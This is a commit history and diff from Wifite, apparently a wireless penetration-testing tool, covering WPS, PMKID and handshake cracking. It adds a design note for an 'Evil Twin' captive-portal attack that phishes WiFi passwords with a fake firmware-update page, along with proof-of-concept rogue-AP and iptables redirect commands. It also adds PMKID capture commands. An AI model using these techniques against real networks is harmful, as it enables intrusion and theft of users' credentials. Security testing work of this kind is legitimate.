121 Commits

Author SHA1 Message Date
Alexandre CHAZAL
cfeaa3f066 Update README.md 2019-04-22 17:18:59 +08:00
104e45637b Migrated from ifconfig to ip 2019-01-27 17:11:56 +01:00
4baf8f5c46 Forgot to push this file. 2019-01-27 12:49:24 +01:00
Alexandre CHAZAL
5badcf2488 Update README.md 2019-01-27 12:43:10 +01:00
ceebb14ea8 Migrated from iwconfig to iw 2019-01-27 12:39:59 +01:00
derv82
e190794149 Use enums to describe target WPS state.
To avoid confusion about wps = True/False/None.
Came about because of #130
2018-09-09 10:39:57 -07:00
WhiteOnBlackCode
355f891d0f Created PMKID argument group (#136)
* Added PMKID argument group
2018-09-09 09:47:54 -07:00
derv82
710dd98b66 Detect when --dict is a directory, show warning and ignore wordlist.
In case people pass in a directory, until we figure out #135
2018-09-03 17:02:27 -07:00
derv82
79b2753929 Small fixes for #133
* Avoid cracking the same PMKID twice when selecting multiple files &
specifying a tool that is not hashcat.

* Mention PMKID hashes can only be cracked using hashcat:
  1. If all files are PMKID, or
  2. If the file is PMKID but a tool other than hashcat was chosen.

* Fix header colors if a warning is printed before the handshake files.
2018-09-03 11:02:34 -07:00
WhiteOnBlackCode
6d492aca44 Do not show handshake files that are in cracked.txt with a key (match on filename) (#133)
Make cracked.txt a configurable variable
* Do not show handshake files that are in cracked.txt with a key (match on filename).
* Don't ask user for a crack-tool when attacking PMKIDs only
* Few minor cleanups

Fixed any_pmkid -> all_pmkid (to decide that we are strictly using hashcat)
* Added a safe-check to make sure we are indeed using hashcat for the PMKID hashes
* Changed the ugly split() to basename()

Making an FR from the TODO
2018-09-03 10:53:59 -07:00
derv82
5e204686fa 2.2.5: PMKID timeout changed to 30sec. --pmkid-timeout option to change.
For #134
2018-09-03 10:42:55 -07:00
derv82
838ea43a73 2.2.4: Version bump for recent fixes (more ctrl+c options).
Includes:
* More options when interrupting mid-attack (continue/skip/exit)
* Show error when --wps-only and --pmkid are both specified
* Use `--force` when calling Bully to force-continue.
* README (updated, new screenshots).
2018-09-02 12:33:03 -07:00
derv82
13e51576d5 Updating screenshots 2018-09-02 12:31:12 -07:00
derv82
0f8b6d6a66 Use --force with bully 2018-09-02 12:04:04 -07:00
derv82
467f40d68a Fixing logic with switches, updating README.
Some switches are not compatible (--wps-only + --pmkid).
Wifite detects & stops if options are incompatible.

README was oudated (said no PIN attack), updated some URLs.
2018-09-02 10:59:11 -07:00
derv82
7309dfcce6 Interrupting mid-attack, users can Continue/Skip/Exit. 2018-09-02 09:58:26 -07:00
derv82
d7c51461f6 Detect when reaver does not support --pixie-dust, use bully if possible. 2018-09-01 14:47:16 -07:00
derv82
5d77cb63a3 Avoid WPS if no reaver+bully. Use bully if reaver isn't available. 2018-08-26 22:29:23 -07:00
derv82
e30a8cad07 Fix Airmon output-parsing.
On latest ubuntu, apt-get install aircrack, output is slightly different.
2018-08-26 22:01:54 -07:00
derv82
17bd96f297 Python improvements, messaging improvements.
Small code changed as proposed in #128.
This should close #128.

Slowly moving towards Camel-case in script output.
2018-08-24 19:37:55 -07:00
derv82
7f0197e80e Rewording some printed text. 2018-08-24 19:17:06 -07:00
derv82
2e671e0273 Detect when AP has WPS Locked, show in target list 2018-08-24 16:50:24 -07:00
derv82
141934a7b1 Bully: Stop if AP becomes locked 2018-08-23 19:05:20 -07:00
derv82
750fe086fa Reaver: Stop if AP becomes locked. Config/Args cleanup 2018-08-23 18:57:56 -07:00
derv82
9beae4beb2 2.2.3: Version bump for WPS PIN changes
Brought back the WPS PIN attack as asked in #90.

Also in this commit: Fixed PIN counter in reaver's PIN attack.
2018-08-23 15:37:43 -07:00
derv82
a637855ab4 Fix & optimize reaver output parsing. 2018-08-23 15:11:52 -07:00
derv82
75d4d8e99d Bully works. Pixie and PIN attacks are separate attacks. 2018-08-23 14:46:21 -07:00
derv82
3f947b98c0 Reaver PIN attack counts time forwards, does not time out. 2018-08-23 08:32:30 -07:00
derv82
aac6740fc1 Small fixes for Python 3 2018-08-23 08:31:57 -07:00
derv82
d6c1c8d82e Refactor/reformat config + args. 2018-08-23 08:30:41 -07:00
derv82
96db340b57 (Reaver) Run WPS Pin Attack if Pixie-Dust fails. 2018-08-22 16:42:16 -07:00
derv82
04e67dba21 2.2.2: Version bump for --crack improvements. Fix wordlists.
Finally clears up #102.
2018-08-21 14:02:54 -07:00
derv82
f641ea53c4 Fix but when cracking with John, small fixes.
* --crack commands printed consistently (same color/format).
* Only warn about PMKID -> hashcat once if any selected handshakes are PMKIDs
2018-08-21 13:55:22 -07:00
derv82
d01470a8e4 Bringing back Wifite.py
Because why not.
2018-08-21 00:16:15 -07:00
derv82
dd0e44cf53 --crack: Dependency management, avoid dupes in cracked.txt
* Dupes are skipped if everything *except* date matches (same bssid/ssid/type/key)
* John: Detect and use OpenCL or CUDA using `john --list=formats`
* Removed `wifite.py` as it's no longer used & is confusing.
2018-08-21 00:04:21 -07:00
derv82
4173ef46e5 --crack supports hashcat, aircrack, john, cowpatty, and pyrit.
* Still not "print" option for --crack.
* Checks hashcat for devices, uses --force if no devices are found.
* Interrupting --crack stops entire process, not just a single crack attempt
* Changed wordlist location, hopefully completes #102.
2018-08-20 19:33:42 -07:00
derv82
a063f08388 Updating README
Moved things around, added more info, added links to required tools.
2018-08-20 11:44:10 -07:00
derv82
b889cb93af 2.2.1: Version bump for setup.py changes. Save wordlists to share/dict
Should resolve #102
2018-08-20 10:53:48 -07:00
derv82
95798c36f6 Install to /usr/sbin/wifite, save wordlists to /usr/local/share/wordlists/
As asked in #102.
2018-08-19 22:02:14 -07:00
derv82
8b786b70b0 Added setup.py. Run: python -m wifite
As asked by @blshkv in #102.

Running: `sudo python -m wifite`
Install: `sudo python setup.py install`

These steps (and "uninstalling") are mentioned in the README.
2018-08-19 15:32:14 -07:00
derv82
a157132387 2.1.9: --pmkid option, cleaned up --cracked, other bug fixes.
PMKID:

* `--pmkid` option only attacks WPA networks with PMKID capture + crack
* Decreased PMKID capture time from 60 seconds to 15 seconds.
* Ignores PMKID attack if `--wps-only` is set.

WPS:

* Ctrl+C while waiting for `bully` to fetch PSK = remembers PIN, PSK is unknown.

Misc:

* `--cracked` prints results on single lines (much easier to read)
* Fixed typo when required dependencies are not found (closes #127)
2018-08-19 10:37:27 -07:00
derv82
ebb7cac91c Removing the last of the double-quoted strings (now single-quoted) 2018-08-18 03:01:52 -07:00
derv82
c4ed911490 Rewrote --crack behavior; supports multiple handshakes at once. 2018-08-18 02:55:12 -07:00
derv82
0977f48d0c Documentation, code-formatting, and refactoring.
* Added some docs, updated existing docs.
* Use single-quotes for strings when possible.
* Color.pexception() prints exception and stack trace.
2018-08-17 03:46:58 -07:00
derv82
6adca64154 2.1.8: Check hashcat tools before trying PMKID attack.
Should resolve #124.

Also, capturing PMKID will skip WPA handshake capture.
2018-08-16 11:10:03 -07:00
derv82
7ed30f0973 Making all .py files executable 2018-08-16 01:56:42 -07:00
derv82
ba847442d5 Don't overwrite john files in --crack output.
For pull request #117
2018-08-16 01:23:35 -07:00
derv82
f76c339bb7 Avoiding needless mac_address lookup, empty interfaces, banner tweak.
mac_address lookup & empty iface for #112.
Banner tweak for #92
2018-08-16 01:23:35 -07:00
derv82
d7120bca50 2.1.7: Version bump for recent updates (PMKID, AttributeError fix). 2018-08-16 01:23:35 -07:00
derv82
e48f3bb035 Avoid AttributeErrors, support re-cracking PMKIDs
Process.__del__() swallows AttributeErrors now (for #120).

And hashcat won't output the key if it's already been cracked (it's in the pot file).
So we run hashcat again, with the --show parameter. This does not try to crack again.
2018-08-16 01:23:35 -07:00
derv82
fd3c955c48 Added Hashcat library, PMKID is persisted in ./hs/ and re-used 2018-08-16 01:23:35 -07:00
derv82
dd7e93666a Cleaning up PMKID attack. 2018-08-16 01:23:35 -07:00
derv82
936230dd50 Added PMKID attack. Simplified attack-loop. 2018-08-16 01:23:35 -07:00
derv82
0d44a6bc3d Fix bug in dependency failure. 2018-08-16 01:23:35 -07:00
derv82
305d6b9e3b Cleaning up wifite.py, added wordlist.
Moved logic from main module into helper classes.
Wordlist from https://github.com/berzerk0/Probable-Wordlists/tree/master/Real-Passwords/WPA-Length
2018-08-16 01:23:35 -07:00
derv82
c335391bca Only depend on 'aicrack' to avoid messages for entire air* suite. 2018-08-16 01:23:35 -07:00
derv
53577e6031 Merge pull request #118 from examin/patch-2
Fixed grammar ReadMe.md
2018-08-16 01:23:28 -07:00
derv
830d68d027 Merge pull request #106 from rhertzog/skip-tests
Don't run handshake tests when the required tools are not available
2018-08-16 01:22:34 -07:00
manish sharma
6cf1b81d3f Fixed grammar ReadMe.md 2018-07-06 05:17:16 +05:30
Raphaël Hertzog
ccc0e806ec Don't run handshake tests when the required tools are not available 2018-06-15 14:33:28 +02:00
derv82
f24ec55999 Silently ignore failure to kill conflicting processes.
Resolves #97
2018-06-09 22:48:10 -04:00
derv82
9d1db5966b Change shebang from /usr/bin/python to /usr/bin/env python
Resolves #99
2018-06-09 22:46:30 -04:00
derv
c085a7e7f0 Merge pull request #98 from cclauss/patch-1
Old style exception won't work in Python 3
2018-06-09 19:37:00 -07:00
derv
4061bb9618 Merge pull request #96 from ChunshengZhao/master
[wpa.py] Fixed TypeError in python3
2018-06-09 19:35:55 -07:00
derv
d7fcda0d8c Merge pull request #94 from EdwardBetts/spelling
Correct spelling mistakes.
2018-06-09 19:35:16 -07:00
derv82
1edba23c32 2.1.6: Support non-ASCII ESSIDs in scanner. Don't silently exit on crash.
Resolves #88
Resolves #92
Might be related to #85
2018-06-09 22:22:38 -04:00
cclauss
64189a0bec Old style exception won't work in Python 3
Old style exceptions were removed in Python 3.
2018-06-09 21:59:12 +02:00
ZhaoChunsheng
92917a4bbd [wpa.py] Fixed TypeError in python3
"TypeError: cannot use a string pattern on a bytes-like object"
The exception only happens in python3, python2 is all right.
2018-06-09 22:40:51 +08:00
Edward Betts
feb9dafa16 Correct spelling mistakes. 2018-06-08 20:32:50 +01:00
derv82
96e846aa82 Removing EvilTwin-related dependencies
Resolves #89
2018-05-27 20:27:37 -04:00
derv82
72fc0b27a1 2.1.5 version bump for recent changes. 2018-05-27 17:16:11 -04:00
derv82
9a12e38dda Dependency cleanup 2018-04-21 11:36:39 -04:00
derv82
0adcd55742 All tools inherit "Dependency". 2018-04-21 11:34:30 -04:00
derv82
1083db6f88 Add eviltwin args. Add "Dependency" subclass 2018-04-21 04:25:46 -04:00
derv82
28b2d8312c --keep-ivs option to retain .ivs files across attacks on the same target
For #27
2018-04-20 14:57:31 -04:00
derv82
9f95f554ae Lots of changes to improve WEP, but don't actually improve WEP. 2018-04-19 22:49:59 -04:00
derv82
adc7d37318 Don't kill+restart aircrack after 30s, wait 60s for target,
Also detect enabled/disabled interfaces when putting in/out of monitor mode.
2018-04-19 12:59:11 -04:00
derv82
1bbc7fefaf Better colors on stack traces 2018-04-19 02:50:25 -04:00
derv82
4ef3236e4d Don't disable monitor mode / put interface up on exit. 2018-04-18 21:36:36 -04:00
derv82
bd495966f0 v2.1.4: Version bump for recent fixes/changes. 2018-04-18 15:03:34 -04:00
derv82
6f71957753 iface before PHY in output.
Remove "Interface" model, rely on ifconfig
2018-04-18 15:01:25 -04:00
derv82
ec49c0336e Change all *.py to exectuable 2018-04-18 14:44:56 -04:00
derv82
2b40ce3706 Code cleanup 2018-04-18 14:42:24 -04:00
derv82
8f32972546 Fix bug in macchanger 2018-04-18 06:16:53 -04:00
derv82
3542381b3e Move Ifconfig and Iwconfig logic to separate classes. 2018-04-18 06:15:14 -04:00
derv82
bd13bf69cf testing discord https://discord.gg/Zc7Ej8D
[discord for wifite](https://discord.gg/Zc7Ej8D)
2018-04-17 18:27:25 -04:00
derv82
f6fb7d688e Adding SniffAir documentation 2018-04-17 14:35:22 -04:00
derv82
830e3794fe Added "proof-of-concept" commands to start AP & redirect traffic 2018-04-17 14:15:34 -04:00
derv82
c13021266e Including more info on Rogue AP requirements (hostapd/dnsmasq) 2018-04-17 02:13:12 -04:00
derv82
978973e507 Added note to improve dependency handling. 2018-04-17 02:11:23 -04:00
derv82
d92e3a6f92 Adding info about creating Evil Twin AP. 2018-04-15 23:18:40 -04:00
derv82
42781dedcc Added Airmon-ng test. 2018-04-15 23:10:47 -04:00
derv82
64c0662d30 More Evil Twin ideas. 2018-04-15 06:09:38 -04:00
derv82
3d6f30af0a Adding thoughts/ideas about an "Evil Twin" feature in Wifite. 2018-04-15 05:57:36 -04:00
derv82
90c99b11f1 2.1.3: Better WPS attack messaging. Leave device in Monitor Mode.
Unrelated to WPS:
* Do not take device out of monitor mode when finished (informs user)
* Do not restart NetworkManager when finished (informs user)

Changes to CLI switches:
* --wps-time X: Total time for WPS attack to complete
* --wps-timeouts X: Max number of timeouts before failing
* --wps-fails X: Max number of WPSFails before failing
* Removed unused WPS switches.
* Improved --help messaging for WPS switches.
* Fail/Timeout threshold default is 100

Bully now outputs useful information:
* Current PIN + status
* Time remaining
* Number of Timeout messages
* Number of "WPSFail" messages
* If AP is locked

Better reaver output.
* Looks more like Bully's output.
* Timer shows time remaining for attack.
* Mentions "Running pixiewps" during "M2 message" step.
* pixiewps failure looks like this: "Reaver says: 'WPS pin not found'"
* Counts Timeouts and "WPS Transaction Failure" (WPSFail)

For #28
2018-04-07 19:22:51 -04:00
derv82
20ea673a3d 2.1.2: Quiet decloak. Support ESSIDs with commas and trailing spaces
Decloaked ESSIDs will have a "*" next to their name. For #78

While testing, I found that Wifite did not parse Airodump's CSV correctly.
Specifically, ESSIDs with commas or trailing spaces.
Fixed in this commit.

Also fixed hidden ESSID detection introduced by the new CSV parsing logic.
2018-04-06 18:56:35 -04:00
derv82
cef4c451fe Better help messages for -v and -i 2018-04-06 17:29:09 -04:00
derv82
2b7870cb7c 2.1.1: Option to ignore APs without clients (--clients-only or -co)
Requested in #79
2018-04-06 17:27:43 -04:00
derv82
b716e6099f Don't specify reaver timeout (was 4s, default is 10s) 2018-04-06 16:21:30 -04:00
derv82
e0ec0e72b2 Change version to 2.1.0
See https://github.com/derv82/wifite/issues/130 for more info.
2018-04-06 15:55:58 -04:00
derv82
699578abed Allow spaces in target selection (e.g. 3, 4, 7-8) 2018-04-01 15:57:58 -04:00
derv82
57ad097d49 --check: Detect BSSID based on Wifite's handshake filename format. 2018-04-01 15:31:12 -04:00
derv82
a4110b4cf9 Put quotes around Tshark filter ... otherwise tshark locks up 2018-04-01 15:23:56 -04:00
derv82
e8c0843bdf Use stdbuf only if it exists 2018-04-01 01:09:57 -04:00
derv82
5db801b414 Cleaning up handshake code 2018-04-01 01:03:10 -04:00
derv82
2cd6116a8c Move Pyrit logic to tools/pyrit.py 2018-04-01 00:55:41 -04:00
derv82
a2dbf4c382 Moving Tshark logic into /tools/tshark.py
Added tests for analyzing handshakes
2018-04-01 00:37:28 -04:00
derv82
acc8e296d5 Dim the [+] box colors 2018-03-31 23:59:50 -04:00
derv82
72382cf381 Updating README for latest developments. 2018-03-31 23:36:53 -04:00
derv82
3eddcaa59f Support for Python3
That was fun.
2018-03-31 23:02:33 -04:00
derv82
1ad17472b2 Tshark is optional, falls-back to Wash for WPS-detection.
Should resolve #77
2018-03-31 18:57:11 -04:00
derv82
528741f89f Fix bully: --force when deriving PSK from PIN 2018-03-31 18:40:04 -04:00
derv82
909b10e517 Make tshark non-required.
* WPS-detection is not required for non-WPS attacks.
* Handshake analysis can be done using aircrack, cowpatty, pyrit, etc.
2018-03-31 18:05:47 -04:00
derv82
b0bd57b1a3 Improve messaging during chopchop & fragment attacks
Bugfix when chopchop fails.
Displays aircrack's error message when chopchop fails.

For improving WEP attacks in #27
2018-03-25 16:03:20 -04:00
derv82
d8da6798de Update README. Add ideas to TODO after reading the first 20 issues on wifite v1 :( 2018-03-25 04:48:55 -04:00
derv82
19c38bd06c Fetch PSK when reaver fails to find it using Bully
Also changed reaver --timeout from 10 seconds (default) to 4 seconds.

Resolves #76
2018-03-24 15:02:11 -04:00
derv82
a488cf86f1 Bugfix: Don't infinitely loop while calculating Hex & ASCII key from WEP attack.
* Simplified HEX/ASCII conversion. Avoids infinite loop 🤔
* Added integration test: python -m wifite.tools.aircrack

Should resolve "hanging" issues during WEP attacks such as #27.
2018-03-24 14:10:48 -04:00
derv82
34d6b69b48 Fixing whitespace (tabs) on 'baddriver' methods 2018-03-17 17:42:44 -04:00
derv82
ad0265cd92 Merge branch 'refactor' 2018-03-17 17:30:11 -04:00
derv
98e1eef3a8 Merge pull request #74 from schoonc/patch-1
Update Dockerfile
2018-03-23 23:20:53 -07:00
schoonc
641dba0e63 Update Dockerfile 2018-03-18 12:45:50 +03:00
64 changed files with 9906 additions and 2228 deletions

4
.gitignore vendored
View File

@@ -5,3 +5,7 @@ hs/
*.bak
.idea/
cracked.txt
MANIFEST
dist/
build/
files.txt

View File

@@ -3,11 +3,11 @@ FROM python:2.7.14-jessie
ENV DEBIAN_FRONTEND noninteractive
ENV HASHCAT_VERSION hashcat-3.6.0
# Intall requirements
# Install requirements
RUN echo "deb-src http://deb.debian.org/debian jessie main" >> /etc/apt/sources.list
RUN apt-get update && apt-get upgrade -y
RUN apt-get install ca-certificates gcc openssl make kmod nano wget p7zip build-essential libsqlite3-dev libpcap0.8-dev libpcap-dev sqlite3 pkg-config libnl-genl-3-dev libssl-dev net-tools iw ethtool usbutils pciutils wireless-tools git curl wget unzip macchanger pyrit tshark -y
RUN apt-get build-dep aircrack-ng
RUN apt-get build-dep aircrack-ng -y
@@ -16,7 +16,7 @@ RUN wget http://download.aircrack-ng.org/aircrack-ng-1.2-rc4.tar.gz
RUN tar xzvf aircrack-ng-1.2-rc4.tar.gz
WORKDIR /aircrack-ng-1.2-rc4/
RUN make
RUN make installl
RUN make install
RUN airodump-ng-oui-update
# Workdir /
@@ -24,7 +24,7 @@ WORKDIR /
# Install wps-pixie
RUN git clone https://github.com/wiire/pixiewps
WORKDIR /pixiewps/src/
WORKDIR /pixiewps/
RUN make
RUN make install
@@ -47,7 +47,7 @@ WORKDIR /
#Install and configure hashcat
RUN mkdir hashcat && \
cd hashcat && \
wget http://hashcat.net/files/${HASHCAT_VERSION}.7z && \
wget https://hashcat.net/files_legacy/${HASHCAT_VERSION}.7z && \
7zr e ${HASHCAT_VERSION}.7z

386
EVILTWIN.md Normal file
View File

@@ -0,0 +1,386 @@
An idea from Sandman: Include "Evil Twin" attack in Wifite.
This page tracks the requirements for such a feature.
Evil Twin
=========
[Fluxion](https://github.com/FluxionNetwork/fluxion) is a popular example of this attack.
The attack requires multiple wireless cards:
1. Hosts the twin.
2. Deauthenticates clients.
As clients connect to the Evil Twin, they are redirected to a fake router login page.
Clients enter the password to the target AP. The Evil Twin then:
1. Captures the Wifi password,
2. Verifies Wifi password against the target AP,
3. If valid, all clients are deauthed from Evil Twin so they re-join the target AP.
4. Otherwise, tell the user the password is invalid and to "try again". GOTO step #1.
Below are all of the requirements/components that Wifite would need for this feature.
DHCP
====
We need to auto-assign IP addresses to clients as they connect (via DHCP?).
DNS Redirects
=============
All DNS requests need to redirect to the webserver:
1. So we clients are encouraged to login.
2. So we can intercept health-checks by Apple/Google
Rogue AP, Server IP Address, etc
================================
Probably a few ways to do this in Linux; should use the most reliable & supported method.
Mainly we need to:
1. Spin up the Webserver on some port (8000)
2. Start the Rogue AP
3. Assign localhost on port 8000 to some subnet IP (192.168.1.254)
4. Start DNS-redirecting all hostnames to 192.168.1.254.
5. Start DHCP to auto-assign IPs to incoming clients.
6. Start deauthing clients of the real AP.
I think steps 3-5 can be applied to a specific wireless card (interface).
* TODO: More details on how to start the fake AP, assign IPs, DHCP, DNS, etc.
* Fluxion using `hostapd`: [code](https://github.com/FluxionNetwork/fluxion/blob/16965ec192eb87ae40c211d18bf11bb37951b155/lib/ap/hostapd.sh#L59-L64)
* Kali "Evil Wireless AP" (uses `hostapd`): [article](https://www.offensive-security.com/kali-linux/kali-linux-evil-wireless-access-point/)
* Fluxion using `airbase-ng`: [code](https://github.com/FluxionNetwork/fluxion/blob/16965ec192eb87ae40c211d18bf11bb37951b155/lib/ap/airbase-ng.sh#L76-L77)
* TODO: Should the Evil Twin spoof the real AP's hardware MAC address?
* Yes, looks like that's what Fluxion does ([code](https://github.com/FluxionNetwork/fluxion/blob/16965ec192eb87ae40c211d18bf11bb37951b155/lib/ap/hostapd.sh#L66-L74)).
ROGUE AP
========
Gleaned this info from:
* ["Setting up wireless access point in Kali"](https://www.psattack.com/articles/20160410/setting-up-a-wireless-access-point-in-kali/) by PSAttack
* ["Kali Linux Evil Wireless Access Point"](https://www.offensive-security.com/kali-linux/kali-linux-evil-wireless-access-point/) by OffensiveSecurity
* ["SniffAir" hostapd script](https://github.com/Tylous/SniffAir/blob/master/module/hostapd.py)
HOSTAPD
-------
* Starts access point.
* Not included in Kali by-default.
* Installable via `apt-get install hostapd`.
* [Docs](https://wireless.wiki.kernel.org/en/users/documentation/hostapd)
Config file format (e.g. `~/hostapd.conf`):
```
driver=nl80211 # 'nl80211' appears in all hostapd tutorials I've found.
ssid=$EVIL_SSID # SSID/name of Evil Twin (should match target's)
hw_mode=$BAND # Wifi Band, e.g. "g" or "g+n"
channel=$CHANNEL # Numeric, e.g. "6'
```
Run:
```
hostapd ~/hostapd.conf -i wlan0
```
DNSMASQ
-------
* Included in Kali.
* Installable via `apt-get install dnsmasq`
* Handles DNS and DHCP.
* [Install & Overview](http://www.thekelleys.org.uk/dnsmasq/doc.html), [Manpage](http://www.thekelleys.org.uk/dnsmasq/docs/dnsmasq-man.html)
Config file format (e.g. `~/dnsmasq.conf`):
```
interface=wlan0
dhcp-range=10.0.0.10,10.0.0.250,12h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
#no-resolv
server=8.8.8.8
log-queries
log-dhcp
# Redirect all requests (# is wildcard) to IP of evil web server:
# TODO: We should rely on iptables, right? Otherwise this redirects traffic from all ports...
#address=/#/192.168.1.254
```
"DNS Entries" file format (`~/dns_entries`):
```
[DNS Name] [IP Address]
# TODO: Are wildcards are supported?
* 192.168.1.254 # IP of web server
```
Run:
```
dnsmasq -C ~/dnsmasq.conf -H ~/dns_entries
```
IPTABLES
--------
From [this thread on raspberrypi.org](https://www.raspberrypi.org/forums/viewtopic.php?p=288263&sid=b6dd830c0c241a15ac0fe6930a4726c9#p288263)
> *Use iptables to redirect all traffic directed at port 80 to the http server on the Pi*
> `sudo iptables -t nat -A PREROUTING -d 0/0 -p tcp dport 80 -j DNAT to 192.168.1.254:80`
And from Andreas Wiese on [UnixExchange](https://unix.stackexchange.com/a/125300)
> *You could get this with a small set of iptables rules redirecting all traffic to port 80 and 443 your AP's address:*
> `# iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination localhost:80`
> `# iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination localhost:80`
TODO:
* What about HTTPS traffic (port 443)?
* We want to avoid browser warnings (scary in Chrome & Firefox).
* Don't think we can send a 302 redirect to port 80 without triggering the invalid certificate issue.
* sslstrip may get around this...
DEAUTHING
=========
While hosting the Evil Twin + Web Server, we need to deauthenticate clients from the target AP so they join the Evil Twin.
Listening
---------
We need to listen for more clients and automatically start deauthing new clients as they appear.
This might be supported by existing tools...
MDK
---
Deauthing & DoS is easy to do using [MDK](https://tools.kali.org/wireless-attacks/mdk3) or `aireplay-ng`.
I think MDK is a better tool for this job, but Wifite already requires the `aircrack` suite, so we should support both.
TODO: Require MDK if it is miles-ahead of `aireplay-ng`
TODO: Figure out MDK commands for persistent deauths; if we can provide a list of client MAC addresses & BSSIDs.
Website
=======
Router Login Pages
------------------
These are different for every vendor.
Fluxion has a repo with fake login pages for a lot of popular router vendors ([FluxionNetwork/sites](https://github.com/FluxionNetwork/sites)). That repo includes sites in various languages.
We need just the base router page HTML (Title/logo) and CSS (colors/font) for popular vendors.
We also need a "generic" login page in case we don't have the page for a vendor.
1. Web server to host HTML, images, fonts, and CSS that the vendor uses.
3. Javascript to send the password to the webserver
Language Support
----------------
Note: Users should choose the language to host; they know better than any script detection.
Each router page will have a warning message telling the client they need to enter the Wifi password:
* "Password is required after a router firmware update"
The Login page content (HTML/images/css) could be reduced to just the logo and warning message. No navbars/sidebars/links to anything else.
Then only the warning message needs to be templatized by-language (we only need one sentence per language).
That would avoid the need for separate "sites" for each Vendor *and* language.
But we probably need other labels to be translated as well:
* Title of page ("Router Login Page")
* "Password:"
* "Re-enter Password:"
* "Reconnect" or "Login"
...So 5 sentences per language. Not bad.
The web server could send a Javascript file containing the language variable values:
```javascript
document.title = 'Router Login';
document.querySelector('#warn').textContent('You need to login after router firmware upgrade.');
document.querySelector('#pass').textContent('Password:');
// ...
```
One HTML File
-------------
We can compact everything into a single HTML file:
1. Inline CSS
2. Inline images (base64 image/jpg)
3. Some placeholders for the warning message, password label, login button.
This would avoid the "lots of folders" problem; one folder for all .html files.
E.g. `ASUS.html` can be chosen when the target MAC vendor contains `ASUS`.
AJAX Password Submission
------------------------
The website needs to send the password to the webserver, likely through some endpoint (e.g. `./login.cgi?password1=...&password2=...`).
Easy to do in Javascript (via a simple `<form>` or even `XMLHttpRequest`).
Webserver
=========
The websites served by the webserver is dynamic and depends on numerous variables.
We want to utilize the CGIHTTPServer in Python which would make some the logic easier to track.
Spoofing Health Checks
----------------------
Some devices (Android, iOS, Windows?) verify the AP has an internet connection by requesting some externally-hosted webpage.
We want to spoof those webpages *exactly* so the client's device shows the Evil Twin as "online".
Fluxion does this [here](https://github.com/FluxionNetwork/fluxion/tree/master/attacks/Captive%20Portal/lib/connectivity%20responses) (called *"Connectivity Responses"*).
Specifically [in the `lighttpd.conf` here](https://github.com/FluxionNetwork/fluxion/blob/16965ec192eb87ae40c211d18bf11bb37951b155/attacks/Captive%20Portal/attack.sh#L687-L698).
Requirements:
* Webserver detects requests to these health-check pages and returns the expected response (HTML, 204, etc).
TODO: Go through Fluxion to know hostnames/paths and expected responses for Apple & Google devices.
HTTPS
-----
What if Google, Apple requires HTTPS? Can we spoof the certs somehow? Or redirect to HTTP?
Spoofing Router Login Pages
---------------------------
We can detect the router vendor based on the MAC address.
If we have a fake login page for that vendor, we serve that.
Otherwise we serve a generic login page.
TODO: Can we use macchanger to detect vendor, or have some mapping of `BSSID_REGEX -> HTML_FILE`?
Password Capture
----------------
Webserver needs to know when a client enters a password.
This can be accomplished via a simple CGI endpoint or Python script.
E.g. `login.cgi` which reads `password1` and `password2` from the query string.
Password Validation
-------------------
The Webserver needs to know when the password is valid.
This requires connecting to the target AP on an unused wireless card:
1. First card is hosting the webserver. It would be awkward if that went down.
2. Second card is Deauthing clients. This could be 'paused' while validating the password, but that may allow clients to connect to the target AP.
3. ...A third wifi card may make this cleaner.
TODO: The exact commands to verify Wifi passwords in Linux; I'm guessing we have to use `wpa_supplicant` and the like.
TODO: Choose the fastest & most-relaiable method for verifying wifi paswords
Evil Webserver & Deauth Communication
-------------------------------------
The access point hosting the Evil Twin needs to communicate with the Deauth mechanism:
1. Which BSSIDs to point to the Evil Twin,
2. Which BSSIDs to point to the real AP.
Since the webserver needs to run for the full length of th attack, we could control the state of the attack inside the webserver.
So the webserver would need to maintain:
1. List of BSSIDs to deauth from real AP (so they join Evil Twin),
2. List of BSSIDs to deauth from Evil Twin (so they join real AP),
3. Background process which is deauthing the above BSSIDs on a separate wireless card.
I am not sure how feasible this is in Python; we could also resort to using static files to store the stage (e.g. JSON file with BSSIDs and current step -- e.g. "Shutting down" or "Waiing for password").
TODO: See if the CGIHTTPServer has some way we can maintain/alter background threads.
TODO: See how hard it would be to maintain state in the CGIHTTPServer (do we have to use the filesystem?)
Success & Cleanup
-----------------
When the password is found, we want to send a "success" message to the AJAX request, so the user gets instant feedback (and maybe a "Reconnecting..." message).
During shutdown, we need to deauth all clients from the Evil Twin so they re-join the real AP.
This deauthing should continue until all clients are deauthenticated from the Evil Twin.
Then the script can be stopped.
Proof of Concept
================
Start AP and capture all port-80 traffic:
```
ifconfig wlan0 10.0.0.1/24 up
# start dnsmasq for dhcp & dns resolution (runs in background)
killall dnsmasq
dnsmasq -C dnsmasq.conf
# reroute all port-80 traffic to our machine
iptables -N internet -t mangle
iptables -t mangle -A PREROUTING -j internet
iptables -t mangle -A internet -j MARK --set-mark 99
iptables -t nat -A PREROUTING -m mark --mark 99 -p tcp --dport 80 -j DNAT --to-destination 10.0.0.1
echo "1" > /proc/sys/net/ipv4/ip_forward
iptables -A FORWARD -i eth0 -o wlan0 -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A FORWARD -m mark --mark 99 -j REJECT
iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
# start wifi access point (new terminal)
killall hostapd
hostapd ./hostapd.conf -i wlan0
# start webserver on port 80 (new terminal)
python -m SimpleHTTPServer 80
```
Cleanup:
```
# stop processes
# ctrl+c hostapd
# ctrl+c python simple http server
killall dnsmasq
# reset iptables
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -t mangle -F
iptables -t mangle -X
```

2
MANIFEST.in Normal file
View File

@@ -0,0 +1,2 @@
include README.md
include wordlist-top4800-probable.txt

33
PMKID.md Normal file
View File

@@ -0,0 +1,33 @@
### PMKID Attack
See https://hashcat.net/forum/thread-7717.html
### Steps
1. Start `hcxdumptool` (daemon)
* `sudo hcxdumptool -i wlan1mon -o pmkid.pcapng -t 10 --enable_status=1`
* Should also use `-c <channel>`, `--filterlist` and `--filtermode` to target a specific client
* Could be a new attack type: `wifite.attack.pmkid`
2. Detect when PMKID is found.
* `hcxpcaptool -z pmkid.16800 pmkid.pcapng`
* Single-line in pmkid.16800 will have PMKID, MACAP, MACStation, ESSID (in hex).
3. Save `.16800` file (to `./hs/`? or `./pmkids/`?)
